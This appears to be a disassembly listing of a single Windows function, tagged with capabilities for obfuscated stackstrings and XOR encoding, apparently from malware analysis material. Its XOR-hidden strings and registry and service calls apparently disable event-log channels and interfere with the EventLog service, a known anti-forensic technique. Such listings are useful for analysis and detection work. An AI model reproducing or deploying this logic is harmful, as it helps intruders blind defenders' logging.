Function at 0x40c5f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
cmp dword [0x425448], 0
push ebx
push esi
push edi
je 0x40c997
cmp dword [0x42543c], 0
jne 0x40c997
lea eax, [ebp - 0xa8]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
call fcn.0040c9a0
mov ebx, eax
xor ecx, ecx
jmp 0x40c640
xor word [ebx + ecx*2], 0xc
inc ecx
cmp ecx, 0x32
jb 0x40c640
lea eax, [ebp - 0x324]
push eax
call fcn.0040ca60
xor ecx, ecx
lea esp, [esp]
xor word [eax + ecx*2], 0xc
inc ecx
cmp ecx, 0x3a
jb 0x40c660
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0x2011f
push 0
push 0
push 0
push eax
push 0x80000002
call dword [0x42518c]
mov esi, 0x62
test eax, eax
jne 0x40c7d5
push 0x104
lea eax, [ebp - 0x2b0]
xor edi, edi
push eax
push edi
push dword [ebp - 4]
call dword [0x425170]
cmp eax, 0x103
je 0x40c7cc
lea ebx, [ebx]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x2011f
push 0
push 0
push 0
lea eax, [ebp - 0x2b0]
push eax
push dword [ebp - 4]
call dword [0x42518c]
test eax, eax
jne 0x40c7aa
push 4
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0x6e0045
push eax
push 4
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x620061
push eax
push dword [ebp - 8]
mov dword [ebp - 0x10], 0x65006c
mov dword [ebp - 0xc], 0x64
call dword [0x425098]
test eax, eax
jne 0x40c7a1
mov dword [ebp - 0x3c], 0x64004f
mov dword [ebp - 0x38], 0x62006d
mov dword [ebp - 0x34], 0x690062
mov dword [ebp - 0x30], 0x4d0060
mov dword [ebp - 0x2c], 0x6f006f
mov dword [ebp - 0x28], 0x7f0069
mov dword [ebp - 0x24], 0xc007f
xor word [ebp + eax*2 - 0x3c], 0xc
inc eax
cmp eax, 0xe
jb 0x40c753
push 4
push ebx
push 1
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 8]
call dword [0x425098]
test eax, eax
jne 0x40c7a1
lea eax, [ebp - 0x2b0]
push eax
push 0
call dword [0x425258]
mov esi, eax
test esi, esi
je 0x40c79c
push 0
push esi
call dword [0x4251c8]
push esi
call dword [0x425208]
mov esi, 0x62
push dword [ebp - 8]
call dword [0x425378]
push 0x104
lea eax, [ebp - 0x2b0]
inc edi
push eax
push edi
push dword [ebp - 4]
call dword [0x425170]
cmp eax, 0x103
jne 0x40c6c0
push dword [ebp - 4]
call dword [0x425378]
mov eax, 0xc
mov dword [ebp - 0x9a], 0x55005f
mov word [ebp - 0x46], ax
xor eax, eax
mov dword [ebp - 0x96], 0x58005f
mov dword [ebp - 0x92], 0x410049
mov dword [ebp - 0x8e], 0x4f0050
mov dword [ebp - 0x8a], 0x7e0079
mov dword [ebp - 0x86], 0x69007e
mov dword [ebp - 0x82], 0x780062
mov dword [ebp - 0x7e], 0x63004f
mov dword [ebp - 0x7a], 0x780062
mov dword [ebp - 0x76], 0x63007e
mov dword [ebp - 0x72], 0x5f0060
mov dword [ebp - 0x6e], 0x780069
mov dword [ebp - 0x6a], 0x5f0050
mov dword [ebp - 0x66], 0x7e0069
mov dword [ebp - 0x62], 0x65007a
mov dword [ebp - 0x5e], 0x69006f
mov dword [ebp - 0x5a], 0x50007f
mov dword [ebp - 0x56], 0x7a0049
mov dword [ebp - 0x52], 0x620069
mov dword [ebp - 0x4e], 0x400078
mov dword [ebp - 0x4a], 0x6b0063
jmp 0x40c890
xor word [ebp + eax*2 - 0x9a], 0xc
inc eax
cmp eax, 0x2b
jb 0x40c890
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2011f
push 0
push 0
push 0
lea eax, [ebp - 0x9a]
push eax
push 0x80000002
call dword [0x42518c]
test eax, eax
jne 0x40c92a
push 0x104
lea eax, [ebp - 0x2b0]
xor edi, edi
push eax
push edi
push dword [ebp - 4]
call dword [0x425170]
cmp eax, 0x103
je 0x40c92a
lea eax, [ebp - 0x2b0]
push eax
push 0
call dword [0x425258]
mov esi, eax
test esi, esi
je 0x40c90c
push 0
push esi
call dword [0x4251c8]
push esi
call dword [0x425208]
push 0x104
lea eax, [ebp - 0x2b0]
inc edi
push eax
push edi
push dword [ebp - 4]
call dword [0x425170]
cmp eax, 0x103
jne 0x40c8e7
xor eax, eax
mov dword [ebp - 0x1a], 0x760045
push 0xf003f
push eax
push eax
mov dword [ebp - 0x16], 0x6e0065
mov dword [ebp - 0x12], 0x4c0074
mov dword [ebp - 0xe], 0x67006f
mov word [ebp - 0xa], ax
call dword [0x425220]
mov edi, eax
test edi, edi
je 0x40c997
push 0x10020
lea eax, [ebp - 0x1a]
push eax
push edi
call dword [0x4253dc]
mov esi, eax
test esi, esi
je 0x40c990
lea eax, [ebp - 0x44]
push eax
push 1
push esi
call dword [0x4252f0]
push esi
call dword [0x42538c]
push esi
call dword [0x42519c]
push edi
call dword [0x42519c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret